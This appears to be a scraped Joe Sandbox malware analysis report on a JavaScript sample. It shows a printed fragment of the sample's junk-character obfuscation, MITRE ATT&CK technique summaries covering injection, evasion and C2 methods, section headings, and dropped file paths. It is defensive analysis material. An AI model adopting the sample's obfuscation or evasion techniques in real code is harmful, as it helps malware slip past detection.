1183	fnyccy = "F";
1184	ugbqwdi = "B";
1185	ugbqwdi = "s";
1186	ugbqwdi = "H";
1187	ugbqwdi = "t";
1188	ugbqwdi = "Y";
1189	ugbqwdi = "a";
1190	ugbqwdi = "K";
1191	ugbqwdi = "A";
1192	ugbqwdi = "X";
1193	ugbqwdi = "R";
1194	ugbqwdi = "Y";
1195	ugbqwdi = "N";
1196	ugbqwdi = "X";
1197	ugbqwdi = "B";
1198	ugbqwdi = "K";
1199	ugbqwdi = "n";
1200	ugbqwdi = "c";
1201	ugbqwdi = "Y";
1202	ugbqwdi = "H";
1203	ugbqwdi = "U";
1204	jrwwkhfjo = "H";
1205	jrwwkhfjo = "w";
1206	jrwwkhfjo = "f";
1207	jrwwkhfjo = "f";
1208	jrwwkhfjo = "Z";
1209	jrwwkhfjo = "h";
1210	jrwwkhfjo = "N";
1211	jrwwkhfjo = "D";
1212	jrwwkhfjo = "w";
1213	jrwwkhfjo = "r";
1214	jrwwkhfjo = "c";
1215	jrwwkhfjo = "j";
1216	jrwwkhfjo = "c";
1217	jrwwkhfjo = "n";
1218	jrwwkhfjo = "x";
1219	jrwwkhfjo = "F";
1220	jrwwkhfjo = "X";
1221	jrwwkhfjo = "A";
1222	jrwwkhfjo = "K";
1223	jrwwkhfjo = "e";
1224	jrwwkhfjo = "O";
1225	jrwwkhfjo = "L";
1226	jrwwkhfjo = "I";
1227	jrwwkhfjo = "b";
1228	vgzumu = "g";
1229	vgzumu = "f";
1230	vgzumu = "C";
1231	vgzumu = "G";
1232	vgzumu = "y";
1233	vgzumu = "D";
1234	vgzumu = "x";
1235	vgzumu = "y";
1236	vgzumu = "j";
1237	vgzumu = "Q";
1238	vgzumu = "W";
1239	vgzumu = "R";
1240	vgzumu = "O";
1241	vgzumu = "J";
1242	vgzumu = "S";
1243	vgzumu = "a";
1244	vgzumu = "Q";
1245	ftohds = "Y";
1246	ftohds = "N";
1247	ftohds = "a";
1248	ftohds = "C";
1249	ftohds = "U";
1250	ftohds = "j";
1251	ftohds = "w";
1252	ftohds = "b";
1253	ftohds = "J";
1254	ftohds = "w";
1255	zrcdii = "R";
1256	zrcdii = "S";
1257	zrcdii = "k";
1258	zrcdii = "Z";
1259	zrcdii = "i";
1260	zrcdii = "j";
1261	zrcdii = "O";
1262	zrcdii = "w";
1263	zrcdii = "e";
1264	zrcdii = "k";
1265	zrcdii = "b";
1266	zrcdii = "z";
1267	zrcdii = "M";
1268	zrcdii = "m";
1269	zrcdii = "J";
1270	zrcdii = "b";
1271	zrcdii = "d";
1272	zrcdii = "A";
1273	zrcdii = "J";
1274	zrcdii = "P";
1275	zrcdii = "Q";
1276	zrcdii = "l";
1277	zrcdii = "e";
1278	zrcdii = "L";
1279	zrcdii = "o";
1280	kuljromi = "e";
1281	kuljromi = "f";
1282	kuljromi = "R";
1283	kuljromi = "H";
1284	kuljromi = "N";
1285	hxixmcwm = "y";
1286	hxixmcwm = "s";
1287	hxixmcwm = "y";
1288	hxixmcwm = "z";
1289	hxixmcwm = "G";
1290	hxixmcwm = "X";
1291	hxixmcwm = "Z";
1292	hxixmcwm = "s";
1293	hxixmcwm = "k";
1294	hxixmcwm = "X";
1295	hxixmcwm = "K";
1296	hxixmcwm = "X";
1297	hxixmcwm = "Z";
1298	hxixmcwm = "t";
1299	hxixmcwm = "Y";
1300	hxixmcwm = "S";
1301	hxixmcwm = "T";
1302	ejtktrf = "o";
1303	ejtktrf = "U";
1304	ejtktrf = "m";
1305	ejtktrf = "H";
1306	ejtktrf = "L";
1307	ejtktrf = "V";
1308	ejtktrf = "q";
1309	ejtktrf = "P";
1310	ejtktrf = "L";
1311	ejtktrf = "B";
1312	ejtktrf = "k";
1313	ejtktrf = "c";
1314	ejtktrf = "e";
1315	ejtktrf = "s";
1316	ejtktrf = "r";
1317	ejtktrf = "B";
1318	ejtktrf = "d";
1319	ejtktrf = "m";
1320	ejtktrf = "z";
1321	ejtktrf = "r";
1322	ejtktrf = "U";
1323	ejtktrf = "C";
1324	ejtktrf = "l";
1325	ejtktrf = "h";
1326	ejtktrf = "W";
1327	ejtktrf = "z";
1328	ejtktrf = "O";
1329	ejtktrf = "M";
1330	ejtktrf = "N";
1331	ejtktrf = "W";
1332	ejtktrf = "E";
1333	ejtktrf = "Y";
1334	ejtktrf = "a";
1335	ejtktrf = "g";
1336	ejtktrf = "n";
1337	ejtktrf = "k";
1338	ejtktrf = "A";
1339	ejtktrf = "X";
1340	ejtktrf = "B";
1341	ejtktrf = "o";
1342	ejtktrf = "t";
1343	ejtktrf = "A";
1344	ejtktrf = "5";
1345	vtmnkibiw = "C";
1346	vtmnkibiw = "Q";
1347	vtmnkibiw = "Q";
1348	vtmnkibiw = "U";
1349	vtmnkibiw = "n";
1350	vtmnkibiw = "b";
1351	vtmnkibiw = "Q";
1352	vtmnkibiw = "U";
1353	vtmnkibiw = "K";
1354	vtmnkibiw = "Y";
1355	vtmnkibiw = "V";
1356	vtmnkibiw = "a";
1357	vtmnkibiw = "L";
1358	vtmnkibiw = "X";
1359	vtmnkibiw = "z";
1360	vtmnkibiw = "L";
1361	vtmnkibiw = "i";
1362	vtmnkibiw = "i";
1363	vtmnkibiw = "b";
1364	vtmnkibiw = "/";
1365	xngkvagn = "z";
1366	xngkvagn = "Z";
1367	xngkvagn = "l";
1368	xngkvagn = "t";
1369	xngkvagn = "n";
1370	xngkvagn = "t";
1371	xngkvagn = "n";
1372	xngkvagn = "k";
1373	xngkvagn = "g";
1374	xngkvagn = "X";
1375	xngkvagn = "z";
1376	xngkvagn = "p";
1377	jycplxhg = "z";
1378	jycplxhg = "i";
1379	jycplxhg = "s";
1380	fdtso = "Z";
1381	fdtso = "F";
1382	fdtso = "q";
1383	fdtso = "Z";
1384	fdtso = "i";
1385	fdtso = "d";
1386	fdtso = "A";
1387	fdtso = "E";
1388	fdtso = "r";
1389	fdtso = "e";
1390	fdtso = "c";
1391	fdtso = "Z";
1392	fdtso = "k";
1393	fdtso = "a";
1394	fdtso = "S";
1395	fdtso = "h";
1396	fdtso = "C";
1397	fdtso = "E";
1398	fdtso = "p";
1399	fdtso = "j";
1400	fdtso = "a";
1401	fdtso = "O";
1402	fdtso = "F";
1403	fdtso = "Z";
1404	fdtso = "j";
1405	fdtso = "F";
1406	fdtso = "A";
1407	fdtso = "H";
1408	fdtso = "T";
1409	fdtso = "e";
1410	fdtso = "z";
1411	fdtso = "p";
1412	fdtso = "F";
1413	fdtso = "F";
1414	fdtso = "z";
1415	fdtso = "y";
1416	fdtso = "H";
1417	lyrimb = "s";
1418	lyrimb = "l";
1419	lyrimb = "q";
1420	lyrimb = "X";
1421	lyrimb = "L";
1422	lyrimb = "B";
1423	lyrimb = "b";
1424	lyrimb = "Q";
1425	lyrimb = "l";
1426	lyrimb = "e";
1427	lyrimb = "W";
1428	lyrimb = "X";
1429	lyrimb = "K";
1430	lyrimb = "M";
1431	lyrimb = "B";
1432	lyrimb = "N";
1433	lyrimb = "d";
1434	lyrimb = "U";
1435	lyrimb = "c";
1436	lyrimb = "e";
1437	lyrimb = "D";
1438	lyrimb = "A";
1439	lyrimb = "x";
1440	lyrimb = "e";
1441	lyrimb = "X";
1442	lyrimb = "O";
1443	lyrimb = "l";
1444	lyrimb = "W";
1445	lyrimb = "I";
1446	lyrimb = "c";
1447	cccdj = "C";
1448	cccdj = "B";
1449	cccdj = "Z";
1450	cccdj = "g";
1451	cccdj = "f";
1452	cccdj = "x";
1453	cccdj = "_";
1454	hypzpnds = "H";
1455	hypzpnds = "S";
1456	hypzpnds = "-";
1457	rjbcriqq ( );	rjbcriqq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 142628891044814616.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\15ab4b56-7d41-4993-aa1f-e9d4b5cd6aec.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3225d1c4-12a6-4461-8b6d-4ec8053c3022.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF424833.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
142628891044814616.js